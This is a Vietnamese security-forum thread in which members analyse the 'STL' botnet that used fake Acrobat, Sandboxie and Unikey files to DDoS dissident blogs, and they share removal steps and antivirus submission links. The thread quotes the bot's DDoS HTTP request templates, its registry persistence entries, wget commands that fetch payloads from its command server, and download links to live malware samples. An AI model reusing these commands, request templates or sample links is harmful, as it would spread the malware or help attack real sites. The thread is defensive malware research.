Tới sáng nay, stl vẫn dai dẵng ddos vào các site, blog sau, dùng hai thằng bot nằm vùng SbieMgm.dll và SbieSvc.exe 1. http://danlambaovn.blogspot.com 2. http://www.aihuuphuyen.org 3. http://nguoiduatinkami.wordpress.com 4. http://vrvradio.com 5. http://aotrangoi.com 6. http://viettan.org 7. http://dangviettan.wordpress.com 8. http://radiochantroimoi.com 9. http://radiochantroimoi.wordpress.com Ở trên là config của backgrounds.jpg, còn showthread.php thì hơi khác một chút, tập trung chính vào danlambao: Code:

GET / HTTP/1.1\r\nHost: danlambaovn.blogspot.com\r\nUser-Agent: \r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-gb,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nConnection: keep-alive
 http://danlambaovn.blogspot.com

GET /favicon.ico HTTP/1.1\r\nHost: danlambaovn.blogspot.com\r\nUser-Agent: \r\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-gb,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nConnection: keep-alive
 http://danlambaovn.blogspot.com
/favicon.ico

GET /2011/08/bieu-tinh-mong-uoc-nhu-dan-thai-lan.html HTTP/1.1\r\nHost: danlambaovn.blogspot.com\r\nUser-Agent: \r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-gb,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nConnection: keep-alive\r\nReferer: http://danlambaovn.blogspot.com/
 http://danlambaovn.blogspot.com
/2011/08/bieu-tinh-mong-uoc-nhu-dan-thai-lan.html

GET / HTTP/1.1\r\nHost: danlambaovn.blogspot.com\r\nUser-Agent: \r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-gb,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nConnection: keep-alive\r\nIf-Modified-Since: Thu, 11 Aug 2011 <(TAG{ 10 23}/TAG)>:<(TAG{ 10 50}/TAG)>:<(TAG{ 20 59}/TAG)> GMT\r\nIf-None-Match: "<(TAG{ 4 ------}/TAG)>-<(TAG{ 1341 5352}/TAG)>-<(TAG{ 2 ------}/TAG)>-<(TAG{ 3521 8953}/TAG)>-<(TAG{ 6 ------}/TAG)>"\r\nReferer: http://danlambaovn.blogspot.com/2011/08/bieu-tinh-mong-uoc-nhu-dan-thai-lan.html
 http://danlambaovn.blogspot.com

Dù không liên quan tới HVA chúng ta nhưng hành động ddos thì không thể chấp nhận được. Mong các bạn phổ biến, tìm diệt 2 file kể trên. 

Có một khía cạnh đơn giản nhưng quan trọng có lẽ nên đề cập đó là quá trình biến máy con thành zombie của "AcrobatUpdater.exe". Trong suốt quá trình nhiễm này, có hai tiểu đoạn: 1. Tạo ra: C:\Program Files\Adobe\Updater6 [ C:\Program Files\Adobe\Updater6\AcrobatUpdater.exe 2. Điều chỉnh registry: - Với key: [ HKLM\Software\Microsoft\Windows\CurrentVersion\Run ], Value Name: [ Acrobat Reader and Acrobat Manager ], New Value: [ C:\Program Files\Adobe\Updater6\AcrobatUpdater.exe ] - Với key: [ HKU\S-1-5-21-842925246-1425521274-308236825-500\Software\Microsoft\Windows\CurrentVersion\Run ], Value Name: [ Acrobat Reader and Acrobat Manager ], New Value: [ C:\Program Files\Adobe\Updater6\AcrobatUpdater.exe ] - Với key: [ HKU\S-1-5-21-842925246-1425521274-308236825-500\Volatile Environment ], Value Name: [ CURRENT ], New Value: [ 2011-07-20 16:28:52 ] - Với key: [ HKU\S-1-5-21-842925246-1425521274-308236825-500\Volatile Environment ], Value Name: [ DATA ], New Value: [ 0x5d4c3c3d3f4b572501120204081e0371454349440e5f514c24484d550e13 ] Nếu người dùng chỉ là "standard user" chớ chẳng phải là user với chủ quyền "administrator" thì hai động tác trên không thể xảy ra được. Trên Windows 7 càng khó hơn vì càng không thể "silently" thực thi việc này. Bởi vậy, với tổng cộng gần 100 ngàn IP tấn công HVA mấy ngày vừa qua (số lượng máy con thật sự đằng sau các IP này có lẽ còn nhiều hơn rất nhiều) toàn là những máy con chạy với chủ quyền "Administrator". Đây là sự thật đáng sợ. Cho dùng Windows 7 có bảo mật như thế nào đi chăng nữa mà người dùng sử dụng máy với account có chủ quyền cao nhất thì coi như tính bảo mật của Windows 7 cũng bỏ đi. Vấn đề được đặt ra, tại sao người dùng dễ dàng tải exe từ những nguồn nào đó không phải từ trang chính thức của Adobe? Hãy gác qua chuyện tạo máy con làm zombies để DDoS mà hãy hình dung xem, hàng trăm ngàn máy con bị điều khiển, bị đánh cắp thông tin (có thể có cả những máy có thông tin quan trọng bởi vì trong danh sách IP tấn công HVA có cả những IP thuộc các ban ngành của chính phủ). Liệu đây là chuyện có thể xem nhẹ và làm ngơ? 

PXMMRF wrote:

Ở Việt nam hiện nay, theo tôi, chỉ khoảng 5-8 % người cài win 7, còn lại hầu hết là Win XP. Trong số người cài Win 7, có lẽ tối đa là 30-40% người có thể nhiễm STL trojan thôi. Như thế khó mà tạo lập được mang STL bot với hàng trăm ngàn máy ở VN.  

Hì hì, câu này anh Mai nói ngược rồi. Bởi vì hầu hết dùng Windows XP và chỉ có 5-8% dùng Windows 7 (trong số người dùng Windows 7 thỉ chỉ có 30-40% bị nhiễm) cho nên dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN. Sau kết quả điều tra sơ khởi, em thấy cả hệ thống máy của một trường đại học đều ấn định người dùng có chủ quyền "Administrator" và hàng chục doanh nghiệp lớn/vừa cũng không tránh khỏi lỗ hổng này. Trong con số 20 người dùng máy bình mà em hỏi thăm thì 100% là chạy dưới chủ quyền "Administrator". Bởi vậy, dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN chớ không phải "khó" :P . 

conmale wrote:

Có một khía cạnh đơn giản nhưng quan trọng có lẽ nên đề cập đó là quá trình biến máy con thành zombie của "AcrobatUpdater.exe". Trong suốt quá trình nhiễm này, có hai tiểu đoạn: 1. Tạo ra: C:\Program Files\Adobe\Updater6 [ C:\Program Files\Adobe\Updater6\AcrobatUpdater.exe 2. Điều chỉnh registry: - Với key: [ HKLM\Software\Microsoft\Windows\CurrentVersion\Run ], Value Name: [ Acrobat Reader and Acrobat Manager ], New Value: [ C:\Program Files\Adobe\Updater6\AcrobatUpdater.exe ] - Với key: [ HKU\S-1-5-21-842925246-1425521274-308236825-500\Software\Microsoft\Windows\CurrentVersion\Run ], Value Name: [ Acrobat Reader and Acrobat Manager ], New Value: [ C:\Program Files\Adobe\Updater6\AcrobatUpdater.exe ] - Với key: [ HKU\S-1-5-21-842925246-1425521274-308236825-500\Volatile Environment ], Value Name: [ CURRENT ], New Value: [ 2011-07-20 16:28:52 ] - Với key: [ HKU\S-1-5-21-842925246-1425521274-308236825-500\Volatile Environment ], Value Name: [ DATA ], New Value: [ 0x5d4c3c3d3f4b572501120204081e0371454349440e5f514c24484d550e13 ] Nếu người dùng chỉ là "standard user" chớ chẳng phải là user với chủ quyền "administrator" thì hai động tác trên không thể xảy ra được. Trên Windows 7 càng khó hơn vì càng không thể "silently" thực thi việc này. Bởi vậy, với tổng cộng gần 100 ngàn IP tấn công HVA mấy ngày vừa qua (số lượng máy con thật sự đằng sau các IP này có lẽ còn nhiều hơn rất nhiều) toàn là những máy con chạy với chủ quyền "Administrator". Đây là sự thật đáng sợ. Cho dùng Windows 7 có bảo mật như thế nào đi chăng nữa mà người dùng sử dụng máy với account có chủ quyền cao nhất thì coi như tính bảo mật của Windows 7 cũng bỏ đi. Vấn đề được đặt ra, tại sao người dùng dễ dàng tải exe từ những nguồn nào đó không phải từ trang chính thức của Adobe? Hãy gác qua chuyện tạo máy con làm zombies để DDoS mà hãy hình dung xem, hàng trăm ngàn máy con bị điều khiển, bị đánh cắp thông tin (có thể có cả những máy có thông tin quan trọng bởi vì trong danh sách IP tấn công HVA có cả những IP thuộc các ban ngành của chính phủ). Liệu đây là chuyện có thể xem nhẹ và làm ngơ? 

conmale wrote:

PXMMRF wrote:

Ở Việt nam hiện nay, theo tôi, chỉ khoảng 5-8 % người cài win 7, còn lại hầu hết là Win XP. Trong số người cài Win 7, có lẽ tối đa là 30-40% người có thể nhiễm STL trojan thôi. Như thế khó mà tạo lập được mang STL bot với hàng trăm ngàn máy ở VN.  

Hì hì, câu này anh Mai nói ngược rồi. Bởi vì hầu hết dùng Windows XP và chỉ có 5-8% dùng Windows 7 (trong số người dùng Windows 7 thỉ chỉ có 30-40% bị nhiễm) cho nên dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN. Sau kết quả điều tra sơ khởi, em thấy cả hệ thống máy của một trường đại học đều ấn định người dùng có chủ quyền "Administrator" và hàng chục doanh nghiệp lớn/vừa cũng không tránh khỏi lỗ hổng này. Trong con số 20 người dùng máy bình mà em hỏi thăm thì 100% là chạy dưới chủ quyền "Administrator". Bởi vậy, dễ tạo lập được mạng STL bot với hàng trăm ngàn máy ở VN chớ không phải "khó" :P . 

Có lẽ anh conmale nhầm ở điểm nào đó, STL bot chạy và hoạt động không cần quyền Administrator ở Windows XP. 

Em thì vừa thấy máy tính sử dụng tài khoản limited dành cho sinh viên một trường bị nhiễm virus STL :) . 

Hì hì, câu này mình nói với ý khác. Vì axasin thông báo là cài cái Malicious Unikey mà bạn ấy download về chỉ tạo các file virus MSHelpCenter.* trong Windows 7 thôi , còn trong Win XP thì không được (nghĩa là Win XP thì không bị nhiễm virus khi cài malicious Unikey nói trên). Vì số người ở VN dùng Win 7 còn ít, nên tôi suy diễn tiếp theo ý axasin như vậy (cũng có ý giỡn vui với rang0 chút chút) Đây là suy diễn theo nhận định của axasin. Chứ tôi đương nhiên là không nghĩ như vậy. Tôi nghĩ máy trên mạng VN hầu hết là cài Win XP và tỷ lệ máy cài Win XP bị nhiễm STL virus-trojan là rất cao. Cần nói thêm là hiện đang có nhiều loại (version) malicious Unikey và Vietkey trên mạng. Malicious Unikey mà axasin cài khác với của lequi đã cài. Còn có nhiều malicious Unikey khác trên mang nũa. Kinh!  

Em thì vừa thấy máy tính sử dụng tài khoản limited dành cho sinh viên một trường bị nhiễm virus STL :) . Có lẽ anh format ổ đĩa với NTFS format ? 

bolzano_1989 wrote:

Em thì vừa thấy máy tính sử dụng tài khoản limited dành cho sinh viên một trường bị nhiễm virus STL :) . Có lẽ anh format ổ đĩa với NTFS format ? 

Đúng rồi. Máy anh chạy XP có ổ đĩa NTFS. Mọi thứ default, chưa hề set cái gì trong policies hết. Anh vừa thử lại, chắc chắn không thực hiện được các công đoạn lan nhiễm của stl malware. 

bolzano_1989 wrote:

Em thì vừa thấy máy tính sử dụng tài khoản limited dành cho sinh viên một trường bị nhiễm virus STL :) . Có lẽ anh format ổ đĩa với NTFS format ? 

Đúng rồi. Máy anh chạy XP có ổ đĩa NTFS. Mọi thứ default, chưa hề set cái gì trong policies hết. Anh vừa thử lại, chắc chắn không thực hiện được các công đoạn lan nhiễm của stl malware. 

conmale wrote:

bolzano_1989 wrote:

Em thì vừa thấy máy tính sử dụng tài khoản limited dành cho sinh viên một trường bị nhiễm virus STL :) . Có lẽ anh format ổ đĩa với NTFS format ? 

Đúng rồi. Máy anh chạy XP có ổ đĩa NTFS. Mọi thứ default, chưa hề set cái gì trong policies hết. Anh vừa thử lại, chắc chắn không thực hiện được các công đoạn lan nhiễm của stl malware. 

Virus của STL ở máy em đề cập được khởi động mỗi khi mở máy tính bằng cách tạo giá trị SbieSvc trong khoá Run của HKCU (HKEY_CURRENT_USER) registry hive (ta không cần quyền Administrator mà chỉ cần quyền của Limited account để ghi vào khóa này): HKCU\Software\Microsoft\Windows\CurrentVersion\Run SbieSvc (Sandboxie Service) Publisher: (Not verified) tzuk %userprofile%\application data\sandboxie\sbiesvc.exe 

mv1098 wrote:

@conmale Có 1 vấn đề này em hay bị mắc phải khi truy cập vào / ( tab 1 ) click vào Forum nó sẽ nhảy ra cái /tof/ ở 1 new tab mới ( tab 2 ) . Nhưng khi em tắt cái ( tab 2 ) rồi click vào cái link forum ở ( tab 1 ) thì nó lại trả về /null. Phải tắt trình duyệt đi mở lại mới vào được. 

Hì hì, vậy thì đừng tắt tab2 mà chỉ tắt tab1 và cứ thế mà dùng. Tắt tab2 và trở lại tab1 để click thì "nó" nghĩ đó là zombie cho nên nó "null" liền. Logic nằm ở chỗ đi theo từ tab1 đến tab2 và dùng tab2 chớ không ai đi ngược lại hết. 

@anh PXMMRF, conmale, bolzano_1989 Trong Windows XP đăng nhập bằng account limited khi 1 ứng dụng thay đổi trong Registry liên quan đến HKEY_LOCAL_MACHINE hoặc liên quan đến các system folder thì nó sẽ bị limited và yêu cầu chạy trên tài khoản Administrator Nhưng nếu những ứng dụng thay đổi trong Registry chỉ liên quan đến HKEY_CURRENT_USER thì nó vẫn có thể thực hiện được. ( ở đây là các ứng dụng chưa được setup trên Windows trước đó ) 

1. Tại sao có mấy file mạo danh của stl không có đuôi .exe, tui không double click vô thì làm sao nhiểm virus vô máy tui được ? 2. Nhiều file như StaticCaches.dat, uxtheme.manifest... là các DLL. Các DLL này làm sao tự run được ? 3. Nó download bmp về thì làm sao sinh ra bot mới được ?  

high.paploz.com high.paploz.com Is Hosted by Santrex RU VPS Services Hosting: Santrex RU VPS Services host the domain high.paploz.com IP Address: 46.166.147.48 Visit Santrex RU VPS Services now  

Visit AboutUs.org for more information about paploz.com AboutUs: paploz.com Domain name: paploz.com Registrant Contact: Whois Privacy Protection Service, Inc. Whois Agent () Fax: PMB 368, 14150 NE 20th St - F1 C/O paploz.com Bellevue, WA 98007 US Administrative Contact: Whois Privacy Protection Service, Inc. Whois Agent (yvrpwlywpp@whoisprivacyprotect.com) +1.4252740657 Fax: +1.4259744730 PMB 368, 14150 NE 20th St - F1 C/O paploz.com Bellevue, WA 98007 US Technical Contact: Whois Privacy Protection Service, Inc. Whois Agent (yvrpwlywpp@whoisprivacyprotect.com) +1.4252740657 Fax: +1.4259744730 PMB 368, 14150 NE 20th St - F1 C/O paploz.com Bellevue, WA 98007 US Status: Locked Name Servers: ns1.afraid.org ns2.afraid.org ns3.afraid.org ns4.afraid.org Creation date: 01 Aug 2011 08:59:00 Expiration date: 01 Aug 2012 00:59:00 Get Noticed on the Internet! Increase visibility for this domain name by listing it at www.whoisbusinesslistings.com =-=-=-= The data in this whois database is provided to you for information purposes only, that is, to assist you in obtaining information about or related to a domain name registration record. We make this information available "as is," and do not guarantee its accuracy. By submitting a whois query, you agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to: (1) enable high volume, automated, electronic processes that stress or load this whois database system providing you this information; or (2) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via direct mail, electronic mail, or by telephone. The compilation, repackaging, dissemination or other use of this data is expressly prohibited without prior written consent from us. We reserve the right to modify these terms at any time. By submitting this query, you agree to abide by these terms. Version 6.3 4/3/2002 Registrar: ENOM, INC. Whois Server: whois.enom.com Creation Date: 01-AUG-2011 Updated Date: 01-AUG-2011 Expiration Date: 01-AUG-2012 Nameserver: NS1.AFRAID.ORG Nameserver: NS2.AFRAID.ORG Nameserver: NS3.AFRAID.ORG Nameserver: NS4.AFRAID.ORG  

Host trace to high.paploz.com 22 hops / 47.4 seconds 1. dreamhost.com United States 2. dreamhost.com United States 3. ntt.net United States 4. ntt.net United States 5. ntt.net United States 6. ntt.net United States 7. ntt.net United States 8. ntt.net United States 9. ntt.net Germany 10. ntt.net Belgium 11. edpnet.net Belgium 12. edpnet.net Belgium 13. edpnet.net Belgium 14. edpnet.net Belgium 15. edpnet.net Russian Federation 16. westcall.ru Russian Federation 17. 82.199.119.33 Russian Federation 18. 82.199.119.146 Russian Federation 19. cod-rt1.tel.ru Russian Federation 20. iqhost.ru France 21. santrex.net 22. 46.166.147.48  

Quay lai trường hợp cụ thể của STL virus AcrobatUpdater.exe thì: - Khi cài vào XP với quyền Admin 1 hoăc Admin 2 (Admin1 có khác Admin2 đấy nhé) thì AcrobatUpdater.exe được cài vào thư muc C/Program files/, như anh conmale đã viết. - Khi cài vào XP với quyền Limited thì nó tự đông được cài vào một thư muc khác: thư muc của chính user ấy trong C/Documents and settings/ và vẫn tao ra registry, đủ để active. Xin minh hoạ bằng hình cụ thể (các bạn xem cho sướng con mắt mình. Hì hì)  

Từ từ mình sẽ post sau, mẫu của stl thì nhiều lắm, phân tích hoạt động của chỉ 1 file thôi đã mấy chục tấm hình rồi. Bà con thân mến, sau khi second.dinest.com die, giờ stl lại nhảy qua Nhật, thuê webserver bên đó để đặt xc.jpg và xv.jpg: Code:

wget -t3 "http://high.paploz.com/xv.jpg" -U"An0nym0453"
wget -t3 "http://high.paploz.com/xc.jpg" -U"An0nym0453"

Host high.paploz.com có IP: 46.166.147.48. Nhờ anh PXMMRF kiểm tra host này. top.jpg, xc.jpg, xv.jpg được đặt lên webserver vào ngày 18-10-2011, 3h chiều. File AcrobatUpdater.exe này có modify code một số, nhưng cơ bản vẫn là VB và các phương thức tấn công bằng HTTP protocol dùng socket. File ngày 15-08-2011: http://www.mediafire.com/?vp9spwf2bnx7e5i File ngày 20-08-2011: http://www.mediafire.com/?6qj9841rxvone83  

Có: Chép vào %Program Files% hay %WinDir%, ghi vào HKLM. Không: Chép vào %AppData% của user, ghi vào HKCU.  

Các bạn HVA nhiệt tình quá, kiểu này thì STL phải thâm hụt ngân quỹ nặng :D Có ai làm cái tổng kết xem STL đã tốn bao nhiêu tiền để mua domain mới kể từ khi bị phanh phui không nhỉ. 

Không có sài chùa đâu bạn ;)) Nếu như theo dõi các reply của mọi người, chắc hẳn ai cũng nhận ra STL là 1 tổ chức lớn và không đơn giản, có được hỗ trợ lớn về nhiều mặt. Vậy tại sao phải dùng CC chùa ? Mà đã là "tổ chức lớn" thì ai lại động đến CC chùa nhỉ ? 

Nó không mới đâu anh PXM. Vẫn là AcrobatUpdater.exe cũ, được down về từ http://penop.net/images01.gif. Code của con này vẫn vậy, chỉ khác các con AcrobatUpdater.exe cũ ở chổ fix một số bug, cải tiến một số hàm, còn lại cơ bản vẫn không đổi, không thêm thêm được 1 hàm nào cả. Em đã upload nó lên 1 loạt AVs rồi, chờ update thôi anh ! [/b][/color]  

Nó không mới đâu anh PXM. Vẫn là AcrobatUpdater.exe cũ, được down về từ http://penop.net/images01.gif. Code của con này vẫn vậy, chỉ khác các con AcrobatUpdater.exe cũ ở chổ fix một số bug, cải tiến một số hàm, còn lại cơ bản vẫn không đổi, không thêm thêm được 1 hàm nào cả. Em đã upload nó lên 1 loạt AVs rồi, chờ update thôi anh ! Vấn đề quan trọng bây giờ là tìm ra mẫu đang ddos Vietnamnet, tìm ra cái C&C webserver giấu mặt này của bọn stl. Các bạn đừng sợ, ngại ngùng gì cả, các bạn chỉ tìm mẫu, up mẫu thì mắc mớ cái gì phải sợ, sợ stl, sợ pháp luật à ? Pháp luật nào cấm các bạn tham gia HVA forum, cấm tham gia thảo luận, RCE virus, cấm tìm và up mẫu virus ????? Tôi nói vậy vì có nhiều bạn PM, mail cho tui để gởi mẫu, nhưng lại sợ tôi nói ra nick HVA, mail address của các bạn. Dĩ nhiên là tôi sẽ làm theo yêu cầu của các bạn. Nhưng tôi lại ngạc nhiên, sao lại phải sợ, tôi, anh PXMMRF, accourics.... và nhiều anh em HVA trong nước không sợ thì tại sao các bạn lại sợ ???????? 2 .lht.: Trò mèo của stl chỉ ở mức user mode, code = C/C++ & VB, hoạt động bình thường ở mức user mode như các app bình thường khác. Coder của stl chưa dùng 1 kỹ thuật pure ASM tiên tiến nào mà giới virus writer thế giới đang dùng, và cũng chưa đụng tới kernel driver. Khi nào tụi nó đụng tới rootkit tui sẽ post phân tích. Đang luyện lại SoftIce và WinDbg để chuẩn bị debug rootkit của mấy anh stl, bỏ lâu lụt nghề rồi. 

2 vndncn: Google: submit malware sample Trước mắt, các bạn chịu khó search trên máy các bạn, nếu có tìm thấy file: GoogleCrashHandler.exe, vui lòng upload lên đâu đó giùm anh em kỹ thuật của HVA. Cảm ơn nhiều ! 

Cảm ơn sacroyant: file cậu úp là file GoogleCrashHandler.pf, tức file prefetch cache của GoogleCrashHandler.exe. Phải là đuôi .exe nhé ! 

Lam sao submit cac mau virus cua anh TQN len cac trang antivirus vay ban, chi dum minh cach up voi? Cam on. 

Hì hì, không dám đâu template. Mắc công mấy anh đó hùa nhau đập hội đồng là em tiêu luôn, bỏ vợ con + rau cỏ hết ;) 

TQN wrote:

Hì hì, không dám đâu template. Mắc công mấy anh đó hùa nhau đập hội đồng là em tiêu luôn, bỏ vợ con + rau cỏ hết ;) 

Chào TQN, Tôi nghĩ sau sự việc này, hva cũng nên tổ chức những lớp như đề nghị ở trên nhằm phát triển đội ngũ phân tích giúp ngăn chặn việc tấn công Ddos sau này cho các trang mạng nói chung ở VN. (tôi cũng muốn tham gia...). LVD 

vndncn wrote:

Lam sao submit cac mau virus cua anh TQN len cac trang antivirus vay ban, chi dum minh cach up voi? Cam on. 

vào các link bên dưới nhiều người gởi mẫu độ tin cậy càng cao . Avira : http://analysis.avira.com/samples/index.php KIS : http://support.kaspersky.com/virlab/helpdesk.html Microsoft Security Essentials : https://www.microsoft.com/security/portal/Submission/Submit.aspx 

Hình như danlambaovn DIE rồi thì phải : Oops! Google Chrome could not connect to danlambaovn.blogspot.com Trong khi đó vào blogspot.com thì vẫn BT  

Hay là các IP của VN bị lock hết rùi 

o.O.o wrote:

Hay là các IP của VN bị lock hết rùi 

Vào bình thường mà bạn. Lỗi xảy ra do IP của bạn đang DDoS danlambaoxxx nên google chặn IP thôi. Mà VN xài IP chung nhiều nên đôi lúc máy bạn bị oan thôi.  

Google chặn theo dải IP, đặc biệt là IP của VNPT, tình trạng này đc gần 2 tuần nay rồi. Tất nhiên có nhả ra, nhưng ko nhanh. Cũng là 1 dụng ý của STL, để hạn chế độc giả truy cập các blog "lề trái" *.blogspot.com :) Tuy nhiên các doanh nghiệp xài Mail host Google thì hơi phiền :P 

Chắc có lẽ đây cũng là một chủ ý của stl. DDOS không được thì "bố mày" khỏi vào xem luôn. Thâm hiểm thật ! Bà con down file killstlmeoque.cmd ở đây: http://www.mediafire.com/?z3atx20ilxpebop. Run nó, đừng hỏi em là run làm sao thì em bó tay luôn. Bat file này chỉ dùng lệnh dir, rd, del, tool reg.exe, sc.exe, taskkill.exe. Hầu như là có sẵn trên mọi máy hết. Text nó ở đây nếu các bạn down không được, chịu khó copy-paste-save nhé ............................................  

Ờ mà quên, chiều giờ vừa theo dõi giá vàng nhảy disco, vừa viết bat, vừa rce con exe giả doc của mấy anh stl, phát hiện một điều lý thú, nói luôn cho bà con: Bà con cẩn thận khi voice chat với em út bằng Yahoo, IM, Skype... Lỡ anh em nào hẹn họ em út đi KS thì cẩn thận, coi chừng mấy anh stl nghe hết và ập vào đấy. Nếu không (hay chưa) có gì thì mấy anh sẽ bonus cho 2 bao OK (đã xài rồi chứ có được bao mới đâu) là cũng tiêu mấy anh em luôn đấy. Hì hì ! Chơi bẩn, chơi xấu thiệt. stl coder dùng kỹ thuật hook voice này theo tui để chặn và lấy các file âm thanh mà nhiều người "lề trái" thu âm để up lên RFA, BBC... 

YM, MSN thì ko nói, nhưng e nghĩ Skype có mã hoá mà anh?  

vndncn wrote:

Lam sao submit cac mau virus cua anh TQN len cac trang antivirus vay ban, chi dum minh cach up voi? Cam on. 

vào các link bên dưới nhiều người gởi mẫu độ tin cậy càng cao . Avira : http://analysis.avira.com/samples/index.php KIS : http://support.kaspersky.com/virlab/helpdesk.html Microsoft Security Essentials : https://www.microsoft.com/security/portal/Submission/Submit.aspx 

Không cần thiết viết thêm đâu anh, chỉ cần ghi chú là bà con login hay RunAs file cmd trên với quyền Admin là được. Chạy 1 lần, press any key vài lần, sau đó login vào user thường dùng, chạy 1 lần, press any key vài lần nữa là xong. - taskkill: Kill process đang run của exe cần del. - sc delete: Delete service mà exe cần kill đăng ký - Xong xuôi, del nó đi là vừa. Em xin báo cáo với mấy anh stl, Avira vừa report về cho em, toàn bộ AcrobatUpdater.exe, SbieSvc.exe, SbieMgm.dll mà em đã up cho Avira đã được Avira báo là "mèo què". Thêm nữa, chiều nay, KIS của em tự đông nhai xương hết toàn bộ mấy file trên trong thư mục: Virus\STL trên máy em rồi. Từ từ rồi toàn bộ 100% các "mèo què" của mấy anh sẽ bị các AVs phổ biến tiêu diệt hết. Thử xem lúc đó mấy anh còn "đốt chích" được ai. PS: Bỏ cái trò comment hù doạ trên cái bờ lốc bỏ hoang của em đi nhé, mấy anh stl. Chơi vậy là hèn lắm đấy. Đấu với nhau bằng kỷ thuật không lại giờ quay ra hù doạ em à ? Hu hu, em sợ quá, mấy anh tha cho em :-( :-( :-) =))  

PS: Bỏ cái trò comment hù doạ trên cái bờ lốc bỏ hoang của em đi nhé, mấy anh stl. Chơi vậy là hèn lắm đấy. Đấu với nhau bằng kỷ thuật không lại giờ quay ra hù doạ em à ? Hu hu, em sợ quá, mấy anh tha cho em :-( :-( :-) =))  

Cảm ơn vndncn. Nhắc mới nhớ, mình có thằng bạn nằm vùng trong giới RCE, đang làm trong team Windows Defender. Hì hì, gởi riêng cho nó toàn bộ "mèo què" của mấy anh stl này mới được. Hỏi riêng mấy anh stl cái: Em gởi mẫu cho MS có bị cấm, bị bắt không mấy anh ? Không thì mấy anh chụp mũ em tiết lộ bí mật xxx, thông tin xxx gì đó nữa, tội em lắm ? Bà con nào biết, kiểm tra giùm em IP 113.172.223.104 (IP của VDC), lúc 2:39 chiều là của thằng nào ? PM riêng cho em nhé ! 

Bạn ko biết/hiểu thì nên theo dõi hoặc đọc lại từ page 1, đừng nhảy bổ vào rồi băn khoăn cái kiểu chưa chắc là STL này nọ v.v... Đi tắt trong CNTT ko thành công đc đâu 

Qua thông tin X-Cafe và IP, search ra một đống Domain với IP bắt đầu bằng 91.211.116.*. http://bgp.he.net/net/91.211.116.0/22#_dns Chính xác là SINHTULENH rồi: 91.211.116.185 sinhtulenh.org, sinhtuphu.org  

Bà con nào biết, kiểm tra giùm em IP 113.172.223.104 (IP của VDC), lúc 2:39 chiều, ngày hôm nay: 22-08-2011, là của thằng nào ? PM riêng cho em nhé ! 

PS: Bỏ cái trò comment hù doạ trên cái bờ lốc bỏ hoang của em đi nhé, mấy anh stl. Chơi vậy là hèn lắm đấy. Đấu với nhau bằng kỷ thuật không lại giờ quay ra hù doạ em à ? Hu hu, em sợ quá, mấy anh tha cho em :-( :-( :-) =))  

TQN wrote:

PS: Bỏ cái trò comment hù doạ trên cái bờ lốc bỏ hoang của em đi nhé, mấy anh stl. Chơi vậy là hèn lắm đấy. Đấu với nhau bằng kỷ thuật không lại giờ quay ra hù doạ em à ? Hu hu, em sợ quá, mấy anh tha cho em :-( :-( :-) =))  

Hì hì, coi chừng có ông nội nào tát nước theo mưa đó em. Anh không nghĩ stl con nít và sơ suất đến độ tức khí mà lên cái blog của em để comment. Nếu quả thật mấy bạn stl mà chơi trò hù doạ trên blog như thế này thì chứng tỏ mấy bạn đó đi tới chỗ cùng kiệt rồi đó. Hù doạ là hành động thể hiện sự bất lực. Chỉ có điều mấy anh em ở HVA chả làm cái gì phi pháp hết. Tất cả đều công khai, giấy trắng mực đen, bằng chứng còn rành rành ra đó. Sẵn tiện nói luôn để mấy bạn stl biết là loạt RE này trên HVA không chỉ có dân kỹ thuật người Việt mà cả dân malware analysis thứ thiệt chú ý. Cả google, mcAfee, Sophos, Avira, Microsoft và một số nhóm nghiên cứu malware đang theo dõi rất sát (chỉ có bkis là im re, hì hì). Các bạn stl muốn chơi "bạch hoá" hả? HVA chơi RE lai rai như vầy là văn nghệ lắm rồi chớ chơi thấu cáy kiểu oanh tẹc na sô nan thì mệt á. Đến lúc đó, chính các bạn sẽ bị rớt vô chỗ "đem con bỏ chợ", "vắt chanh bỏ vỏ" đó. 

Gửi các bro mẫu GoogleUpdate.exe, em check không thấy có Digital Sig Scan trên VirusTotal thì ra 1 đống nhưng toàn là Virus Sality http://www.virustotal.com/file-scan/report.html?id=f258be0f4ea0174f87731f0c879170ba162dcfba058bf9dd3c5aead98252fc0e-1314072852 http://www.mediafire.com/?k7xd7nj50bs59jv 

mv1098 wrote:

Gửi các bro mẫu GoogleUpdate.exe, em check không thấy có Digital Sig Scan trên VirusTotal thì ra 1 đống nhưng toàn là Virus Sality http://www.virustotal.com/file-scan/report.html?id=f258be0f4ea0174f87731f0c879170ba162dcfba058bf9dd3c5aead98252fc0e-1314072852 http://www.mediafire.com/?k7xd7nj50bs59jv 

Em tìm thử trên máy có "goopdate.dll" không? Có con nào, zip hết rồi upload lên giúp nha? 

Mình kiểm tra tất cả đều có chữ ký, không cần up đúng ko bác 

Mình kiểm tra tất cả đều có chữ ký, không cần up đúng ko bác 

Các bạn ở BKAV và CMC có thể giúp việc này không. Ks Triệu trần Đức (Tổng giám đôc Security CMC)ơi, em có chỉ đạo việc này giúp anh hay không nhỉ? Thank you in advance.  

Bà con BKAV có thể giúp mọi người được không ? Hay là cứ giả câm, giả điếc, nhắm mắt làm ngơ ???  

PXMMRF wrote:

Các bạn ở BKAV và CMC có thể giúp việc này không. Ks Triệu trần Đức (Tổng giám đôc Security CMC)ơi, em có chỉ đạo việc này giúp anh hay không nhỉ? Thank you in advance.  

TQN wrote:

Bà con BKAV có thể giúp mọi người được không ? Hay là cứ giả câm, giả điếc, nhắm mắt làm ngơ ???  

